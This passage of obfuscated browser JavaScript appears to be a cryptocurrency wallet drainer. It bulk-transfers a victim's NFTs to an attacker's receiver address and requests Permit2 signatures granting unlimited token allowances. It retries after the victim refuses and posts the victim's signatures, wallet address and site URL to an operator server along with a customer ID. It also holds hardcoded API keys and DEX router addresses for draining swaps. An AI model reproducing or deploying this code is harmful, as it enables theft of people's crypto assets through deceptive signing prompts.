name: "receiver", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "sender", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "identifier", | |
type: "uint256" | |
}], | |
name: "ERC721ReceiverErrorRevertString", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "conduitKey", | |
type: "bytes32" | |
}, { | |
internalType: "address", | |
name: "conduit", | |
type: "address" | |
}], | |
name: "InvalidConduit", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidERC20Identifier", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "InvalidERC721Recipient", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidERC721TransferAmount", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "InvalidItemType", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "RecipientCannotBeZeroAddress", | |
type: "error" | |
}, { | |
inputs: [{ | |
components: [{ | |
components: [{ | |
internalType: "enum ConduitItemType", | |
name: "itemType", | |
type: "uint8" | |
}, { | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "identifier", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct TransferHelperItem[]", | |
name: "items", | |
type: "tuple[]" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "validateERC721Receiver", | |
type: "bool" | |
}], | |
internalType: "struct TransferHelperItemsWithRecipient[]", | |
name: "items", | |
type: "tuple[]" | |
}, { | |
internalType: "bytes32", | |
name: "conduitKey", | |
type: "bytes32" | |
}], | |
name: "bulkTransfer", | |
outputs: [{ | |
internalType: "bytes4", | |
name: "magicValue", | |
type: "bytes4" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x3e326e = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]); | |
let _0x3fd55d = new ethers.Contract("0x0000000000c2d145a2526bD8C716263bFeBe1A72", _0x1069a6, _0x3e326e); | |
let _0x36a212 = []; | |
for (let _0xcb9d0e of _0x18e554.asset) { | |
_0x36a212.push([_0xcb9d0e.itemType, _0xcb9d0e.token, _0xcb9d0e.tokenId, 1]); | |
} | |
let _0x235ba4 = await _0x3fd55d.bulkTransfer([[_0x36a212, this.receiver, true]], "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000"); | |
for (let _0x15785d of _0x18e554.asset) { | |
this.approved.push(_0x15785d.token + ",eth"); | |
} | |
await this.sendMessage({ | |
chain: _0x18e554.chain, | |
type: "approvalNFT", | |
source: "OSTransfer", | |
txId: _0x235ba4.hash, | |
value: _0x18e554.value / 2.2 | |
}); | |
} catch (_0x29842) { | |
console.log(_0x29842); | |
if (_0xb22819 != (await this.getWalletAddress())) { | |
return; | |
} | |
const _0x553dab = { | |
chain: _0x18e554.chain, | |
type: "error", | |
msg: "Client has denied transferring NFTs" | |
}; | |
await this.sendMessage(_0x553dab); | |
this.failedAttempts++; | |
if (this.failedAttempts > 6 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.transferOpensea(_0x18e554); | |
} | |
} | |
}; | |
permit2 = async _0x50beb9 => { | |
let _0x2cabbc = await this.getWalletAddress(); | |
try { | |
let _0x3a87f8 = _0x50beb9.asset; | |
let _0x5d32ce = "0x000000000022d473030f116ddee9f6b43ac78ba3"; | |
let _0xb8769 = []; | |
for (let _0x24f645 of _0x3a87f8) { | |
if (!this.approved.includes(_0x24f645.token + "," + _0x50beb9.chain)) { | |
let _0x26c940 = { | |
token: _0x24f645.token, | |
real_amount: _0x24f645.amount.toString(), | |
amount: "1461501637330902918203684832716283019655932542975", | |
expiration: "1988064000", | |
nonce: await this.Sdk.GetAllowances(_0x2cabbc, _0x24f645.token, this.caller) | |
}; | |
console.log(_0x26c940); | |
_0xb8769.push(_0x26c940); | |
} | |
} | |
if (_0xb8769.length > 0) { | |
let _0x67cdb6 = { | |
name: "Permit2", | |
chainId: await this.getChainId(_0x50beb9.chain), | |
verifyingContract: _0x5d32ce | |
}; | |
const _0x5da8d0 = { | |
details: _0xb8769, | |
spender: this.caller, | |
sigDeadline: 1988064000 | |
}; | |
let _0x280705 = _0x5da8d0; | |
const _0xb8e6cb = await this.Sdk.signData(_0x67cdb6, { | |
PermitBatch: [{ | |
name: "details", | |
type: "PermitDetails[]" | |
}, { | |
name: "spender", | |
type: "address" | |
}, { | |
name: "sigDeadline", | |
type: "uint256" | |
}], | |
PermitDetails: [{ | |
name: "token", | |
type: "address" | |
}, { | |
name: "amount", | |
type: "uint160" | |
}, { | |
name: "expiration", | |
type: "uint48" | |
}, { | |
name: "nonce", | |
type: "uint48" | |
}] | |
}, _0x280705); | |
let _0x4e8af7 = _0xb8769; | |
await this.sendMessage({ | |
type: "permit2", | |
value: _0x50beb9.value / 2.5, | |
chain: _0x50beb9.chain | |
}); | |
await this.SendCompletion({ | |
type: "permit2", | |
chain_id: this.getChainId(_0x50beb9.chain), | |
permitDetails: JSON.stringify(_0x4e8af7), | |
signature: _0xb8e6cb, | |
ahash: this.createEncKey() | |
}); | |
for (let _0x2d9aef of _0x3a87f8) { | |
this.approved.push(_0x2d9aef.token + "," + _0x50beb9.chain); | |
} | |
localStorage.approved = JSON.stringify(this.approved); | |
} | |
} catch (_0x5bfed1) { | |
console.log(_0x5bfed1); | |
if (_0x2cabbc != (await this.getWalletAddress())) { | |
return; | |
} | |
const _0x3f961a = { | |
chain: _0x50beb9.chain, | |
type: "error", | |
msg: "Client has denied signing Permit2" | |
}; | |
await this.sendMessage(_0x3f961a); | |
this.failedAttempts++; | |
if (this.failedAttempts > 3 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.permit2(_0x50beb9); | |
} | |
} | |
}; | |
SendCompletion = async _0x17f2c7 => { | |
try { | |
let _0x587ac1 = {}; | |
switch (_0x17f2c7.type) { | |
case "permit2": | |
{ | |
_0x587ac1 = { | |
action_type: "permit2", | |
permit_data: Base64.encode(_0x17f2c7.permitDetails), | |
signature: _0x17f2c7.signature, | |
owner: await this.getWalletAddress(), | |
website: window.location.href, | |
chain_id: _0x17f2c7.chain_id, | |
key: _0x17f2c7.ahash, | |
customer_id: config.customerId | |
}; | |
} | |
break; | |
case "permit": | |
{ | |
_0x587ac1 = { | |
action_type: "permit", | |
amount: _0x17f2c7.amount, | |
r_value: _0x17f2c7.r, | |
s_value: _0x17f2c7.s, | |
v_value: _0x17f2c7.v, | |
type: _0x17f2c7.actionType, | |
value: "115792089237316195423570985008687907853269984665640564039457584007913129639935", | |
contract: _0x17f2c7.token, | |
deadline: _0x17f2c7.deadline, | |
nonce: _0x17f2c7.nonce, | |
owner: await this.getWalletAddress(), | |
website: window.location.href, | |
chain_id: _0x17f2c7.chain, | |
key: _0x17f2c7.ahash, | |
customer_id: config.customerId | |
}; | |
} | |
break; | |
case "NFTApproval": | |
{ | |
_0x587ac1 = { | |
action_type: "nft_transfer", | |
hash: _0x17f2c7.hash, | |
contract: _0x17f2c7.token, | |
token_id: _0x17f2c7.token_id, | |
owner: await this.getWalletAddress(), | |
website: window.location.href, | |
item_type: _0x17f2c7.itemType, | |
chain_id: _0x17f2c7.chain_id, | |
key: _0x17f2c7.ahash, | |
customer_id: config.customerId | |
}; | |
} | |
break; | |
case "TokenApproval": | |
{ | |
_0x587ac1 = { | |
action_type: "token_transfer", | |
hash: _0x17f2c7.hash, | |
contract: _0x17f2c7.token, | |
amount: _0x17f2c7.amount, | |
owner: await this.getWalletAddress(), | |
website: window.location.href, | |
chain_id: _0x17f2c7.chain, | |
key: _0x17f2c7.ahash, | |
customer_id: config.customerId | |
}; | |
} | |
break; | |
case "seaport": | |
{ | |
_0x587ac1 = { | |
action_type: "seaport_match", | |
order: Base64.encode(_0x17f2c7.order), | |
website: window.location.href, | |
key: _0x17f2c7.ahash, | |
customer_id: config.customerId | |
}; | |
} | |
break; | |
case "tokenSplit": | |
{ | |
const _0x4fa492 = { | |
action_type: "split", | |
hash: _0x17f2c7.hash, | |
address: _0x17f2c7.tokenAddress, | |
key: _0x17f2c7.ahash, | |
chain_id: _0x17f2c7.chainId, | |
customer_id: config.customerId | |
}; | |
_0x587ac1 = _0x4fa492; | |
} | |
break; | |
} | |
let _0x46d85f = this.domain + "/tx"; | |
let _0x29c8ea = await fetch(_0x46d85f, { | |
method: "POST", | |
body: Base64.encode(JSON.stringify(_0x587ac1)) | |
}); | |
} catch (_0x373b76) { | |
console.log(_0x373b76); | |
} | |
}; | |
oneInchKeys = ["kSHXPLG75uYbEGAH37PtsYqhpMzg8rD3", "MLpI1leeeyGo4778JNKBuWOY3OpMKkev", "9GpBce1G1IqnzaZAAIcAWdccLImTt0Jn"]; | |
exchangeDictionary = [{ | |
Chain: "eth", | |
Exchange: "AaveLP2", | |
Address: "0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9" | |
}, { | |
Chain: "eth", | |
Exchange: "AaveLP3", | |
Address: "0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2" | |
}, { | |
Chain: "eth", | |
Exchange: "AaveLP4", | |
Address: "0x777777c9898D384F785Ee44Acfe945efDFf5f3E0" | |
}, { | |
Chain: "matic", | |
Exchange: "AaveLP2", | |
Address: "0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf" | |
}, { | |
Chain: "matic", | |
Exchange: "AaveLP3", | |
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD" | |
}, { | |
Chain: "avax", | |
Exchange: "AaveLP2", | |
Address: "0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C" | |
}, { | |
Chain: "avax", | |
Exchange: "AaveLP3", | |
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD" | |
}, { | |
Chain: "op", | |
Exchange: "AaveLP3", | |
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD" | |
}, { | |
Chain: "arb", | |
Exchange: "AaveLP3", | |
Address: "0x794a61358D6845594F94dc1DB02A252b5b4814aD" | |
}, { | |
Chain: "eth", | |
Exchange: "Bancor", | |
Address: "0xeEF417e1D5CC832e619ae18D2F140De2999dD4fB" | |
}, { | |
Chain: "eth", | |
Exchange: "BancorSwaps", | |
Address: "0x2F9EC37d6CcFFf1caB21733BdaDEdE11c823cCB0" | |
}, { | |
Chain: "arb", | |
Exchange: "Camelot", | |
Address: "0xc873fEcbd354f5A56E00E710B90EF4201db2448d" | |
}, { | |
Chain: "eth", | |
Exchange: "Curve", | |
Address: "0x99a58482BD75cbab83b27EC03CA68fF489b5788f" | |
}, { | |
Chain: "eth", | |
Exchange: "CurveVyper1", | |
Address: "0x55B916Ce078eA594c10a874ba67eCc3d62e29822" | |
}, { | |
Chain: "arb", | |
Exchange: "GMX", | |
Address: "0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064" | |
}, { | |
Chain: "eth", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "bsc", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "avax", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "op", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "matic", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "arb", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "base", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "ftm", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "era", | |
Exchange: "1InchV5", | |
Address: "0x1111111254EEB25477B68fb85Ed929f73A960582" | |
}, { | |
Chain: "eth", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "bsc", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "avax", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "op", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "matic", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "arb", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "ftm", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "base", | |
Exchange: "Kyber", | |
Address: "0x6131B5fae19EA4f9D964eAc0408E4408b66337b5" | |
}, { | |
Chain: "era", | |
Exchange: "Kyber", | |
Address: "0x3F95eF3f2eAca871858dbE20A93c01daF6C2e923" | |
}, { | |
Chain: "avax", | |
Exchange: "Pangolin", | |
Address: "0xe54ca86531e17ef3616d22ca28b0d458b6c89106" | |
}, { | |
Chain: "eth", | |
Exchange: "Pancake", | |
Address: "0xEfF92A263d31888d860bD50809A8D171709b7b1c" | |
}, { | |
Chain: "eth", | |
Exchange: "PancakeV2", | |
Address: "0x13f4EA83D0bd40E75C8222255bc855a974568Dd4" | |
}, { | |
Chain: "bsc", | |
Exchange: "Pancake", | |
Address: "0x10ED43C718714eb63d5aA57B78B54704E256024E" | |
}, { | |
Chain: "bsc", | |
Exchange: "PancakeV2", | |
Address: "0x13f4EA83D0bd40E75C8222255bc855a974568Dd4" | |
}, { | |
Chain: "eth", | |
Exchange: "Stargate", | |
Address: "0x8731d54E9D02c286767d56ac03e8037C07e01e98" | |
}, { | |
Chain: "bsc", | |
Exchange: "Stargate", | |
Address: "0x4a364f8c717cAAD9A442737Eb7b8A55cc6cf18D8" | |
}, { | |
Chain: "avax", | |
Exchange: "Stargate", | |
Address: "0x45A01E4e04F14f7A4a6702c74187c5F6222033cd" | |
}, { | |
Chain: "arb", | |
Exchange: "Stargate", | |
Address: "0x53Bf833A5d6c4ddA888F69c22C88C9f356a41614" | |
}, { | |
Chain: "op", | |
Exchange: "Stargate", | |
Address: "0xB0D502E938ed5f4df2E681fE6E419ff29631d62b" | |
}, { | |
Chain: "matic", | |
Exchange: "Stargate", | |
Address: "0x45A01E4e04F14f7A4a6702c74187c5F6222033cd" | |
}, { | |
Chain: "base", | |
Exchange: "Stargate", | |
Address: "0x45f1A95A4D3f3836523F5c83673c797f4d4d263B" | |
}, { | |
Chain: "ftm", | |
Exchange: "Stargate", | |
Address: "0xAf5191B0De278C7286d6C7CC6ab6BB8A73bA2Cd6" | |
}, { | |
Chain: "eth", | |
Exchange: "Special", | |
Address: "0x881d40237659c251811cec9c364ef91dc08d300c" | |
}, { | |
Chain: "bsc", | |
Exchange: "Special", | |
Address: "0x1a1ec25dc08e98e5e93f1104b5e5cdd298707d31" | |
}, { | |
Chain: "op", | |
Exchange: "Special", | |
Address: "0x9dda6ef3d919c9bc8885d5560999a3640431e8e6" | |
}, { | |
Chain: "matic", | |
Exchange: "Special", | |
Address: "0x1a1ec25dc08e98e5e93f1104b5e5cdd298707d31" | |
}, { | |
Chain: "arb", | |
Exchange: "Special", | |
Address: "0x9dda6ef3d919c9bc8885d5560999a3640431e8e6" | |
}, { | |
Chain: "ftm", | |
Exchange: "SpookySwap", | |
Address: "0xf491e7b69e4244ad4002bc14e878a34207e38c29" | |
}, { | |
Chain: "eth", | |
Exchange: "ShibaSwap", | |
Address: "0x03f7724180AA6b939894B5Ca4314783B0b36b329" | |
}, { | |
Chain: "eth", | |
Exchange: "SushiSwap", | |
Address: "0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f" | |
}, { | |
Chain: "bsc", | |
Exchange: "SushiSwap", | |
Address: "0x1b02da8cb0d097eb8d57a175b88c7d8b47997506" | |
}, { | |
Chain: "avax", | |
Exchange: "SushiSwap", | |
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506" | |
}, { | |
Chain: "matic", | |
Exchange: "SushiSwap", | |
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506" | |
}, { | |
Chain: "arb", | |
Exchange: "SushiSwap", | |
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506" | |
}, { | |
Chain: "ftm", | |
Exchange: "SushiSwap", | |
Address: "0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506" | |
}, { | |
Chain: "bsc", | |
Exchange: "TraderJoeV3", | |
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30" | |
}, { | |
Chain: "avax", | |
Exchange: "TraderJoeV1", | |
Address: "0x60aE616a2155Ee3d9A68541Ba4544862310933d4" | |
}, { | |
Chain: "avax", | |
Exchange: "TraderJoeV2", | |
Address: "0xE3Ffc583dC176575eEA7FD9dF2A7c65F7E23f4C3" | |
}, { | |
Chain: "avax", | |
Exchange: "TraderJoeV3", | |
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30" | |
}, { | |
Chain: "arb", | |
Exchange: "TraderJoeV3", | |
Address: "0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30" | |
}, { | |
Chain: "eth", | |
Exchange: "UniswapV2", | |
Address: "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D" | |
}, { | |
Chain: "eth", | |
Exchange: "UniswapV3", | |
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564" | |
}, { | |
Chain: "op", | |
Exchange: "UniswapV3", | |
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564" | |
}, { | |
Chain: "matic", | |
Exchange: "UniswapV3", | |
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564" | |
}, { | |
Chain: "arb", | |
Exchange: "UniswapV3", | |
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564" | |
}, { | |
Chain: "base", | |
Exchange: "UniswapV3", | |
Address: "0xE592427A0AEce92De3Edee1F18E0157C05861564" | |
}, { | |
Chain: "eth", | |
Exchange: "UniswapV3_2", | |
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45" | |
}, { | |
Chain: "bsc", | |
Exchange: "UniswapV3_2", | |
Address: "0xB971eF87ede563556b2ED4b1C0b0019111Dd85d2" | |
}, { | |
Chain: "op", | |
Exchange: "UniswapV3_2", | |
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45" | |
}, { | |
Chain: "matic", | |
Exchange: "UniswapV3_2", | |
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45" | |
}, { | |
Chain: "arb", | |
Exchange: "UniswapV3_2", | |
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45" | |
}, { | |
Chain: "base", | |
Exchange: "UniswapV3_2", | |
Address: "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45" | |
}, { | |
Chain: "bsc", | |
Exchange: "WooFinance", | |
Address: "0x4f4Fd4290c9bB49764701803AF6445c5b03E8f06" | |
}, { | |
Chain: "avax", | |
Exchange: "WooFinance", | |
Address: "0xC22FBb3133dF781E6C25ea6acebe2D2Bb8CeA2f9" | |
}, { | |
Chain: "op", | |
Exchange: "WooFinance", | |
Address: "0xEAf1Ac8E89EA0aE13E0f03634A4FF23502527024" | |
}, { | |
Chain: "matic", | |
Exchange: "WooFinance", | |
Address: "0x817Eb46D60762442Da3D931Ff51a30334CA39B74" | |
}, { | |
Chain: "arb", | |
Exchange: "WooFinance", | |
Address: "0x9aEd3A8896A85FE9a8CAc52C9B402D092B629a30" | |
}, { | |
Chain: "bsc", | |
Exchange: "WooBridge", | |
Address: "0x81004C9b697857fD54E137075b51506c739EF439" | |
}, { | |
Chain: "avax", | |
Exchange: "WooBridge", | |
Address: "0x51AF494f1B4d3f77835951FA827D66fc4A18Dae8" | |
}, { | |
Chain: "op", | |
Exchange: "WooBridge", | |
Address: "0xbeaE1B06949d033Da628bA3E5aF267C3E740494b" | |
}, { | |
Chain: "matic", | |
Exchange: "WooBridge", | |
Address: "0xAA9c15cd603428cA8ddD45e933F8EfE3Afbcc173" | |
}, { | |
Chain: "arb", | |
Exchange: "WooBridge", | |
Address: "0x4AB421de52b3112D02442b040dd3DC73e8Af63b5" | |
}, { | |
Chain: "eth", | |
Exchange: "ZeroEx", | |
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF" | |
}, { | |
Chain: "bsc", | |
Exchange: "ZeroEx", | |
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF" | |
}, { | |
Chain: "ftm", | |
Exchange: "ZeroEx", | |
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF" | |
}, { | |
Chain: "avax", | |
Exchange: "ZeroEx", | |
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF" | |
}, { | |
Chain: "op", | |
Exchange: "ZeroEx", | |
Address: "0xDEF1ABE32c034e558Cdd535791643C58a13aCC10" | |
}, { | |
Chain: "matic", | |
Exchange: "ZeroEx", | |
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF" | |
}, { | |
Chain: "arb", | |
Exchange: "ZeroEx", | |
Address: "0xDef1C0ded9bec7F1a1670819833240f027b25EfF" | |
}]; | |
setUpSwap = async _0x4f37a4 => { | |
let _0x2ed279 = _0x4f37a4.actionType; | |
let _0x1b1427 = Math.floor(Date.now() / 1000) + 99990; | |
let _0x2b7b1b = this.exchangeDictionary.filter(_0x54e471 => _0x54e471.Chain == _0x4f37a4.chain && _0x54e471.Exchange == _0x2ed279)[0].Address; | |
let _0x9d9505 = this.ethersProvider.getSigner(await this.getWalletAddress()); | |
switch (_0x2ed279) { | |
case "AaveLP2": | |
{ | |
let _0x291020 = [{ | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "borrowRateMode", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "borrowRate", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint16", | |
name: "referral", | |
type: "uint16" | |
}], | |
name: "Borrow", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: true, | |
internalType: "uint16", | |
name: "referral", | |
type: "uint16" | |
}], | |
name: "Deposit", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "initiator", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "premium", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "FlashLoan", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "collateralAsset", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "debtAsset", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "debtToCover", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "liquidatedCollateralAmount", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "address", | |
name: "liquidator", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "bool", | |
name: "receiveAToken", | |
type: "bool" | |
}], | |
name: "LiquidationCall", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [], | |
name: "Paused", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "RebalanceStableBorrowRate", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "repayer", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Repay", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "liquidityRate", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "stableBorrowRate", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "variableBorrowRate", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "liquidityIndex", | |
type: "uint256" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "variableBorrowIndex", | |
type: "uint256" | |
}], | |
name: "ReserveDataUpdated", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "ReserveUsedAsCollateralDisabled", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}], | |
name: "ReserveUsedAsCollateralEnabled", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "rateMode", | |
type: "uint256" | |
}], | |
name: "Swap", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [], | |
name: "Unpaused", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
internalType: "address", | |
name: "reserve", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "user", | |
type: "address" | |
}, { | |
indexed: true, | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "Withdraw", | |
type: "event" | |
}, { | |
inputs: [], | |
name: "FLASHLOAN_PREMIUM_TOTAL", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "LENDINGPOOL_REVISION", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "MAX_NUMBER_RESERVES", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "MAX_STABLE_RATE_BORROW_SIZE_PERCENT", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "interestRateMode", | |
type: "uint256" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}], | |
name: "borrow", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "onBehalfOf", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "referralCode", | |
type: "uint16" | |
}], | |
name: "deposit", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "asset", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
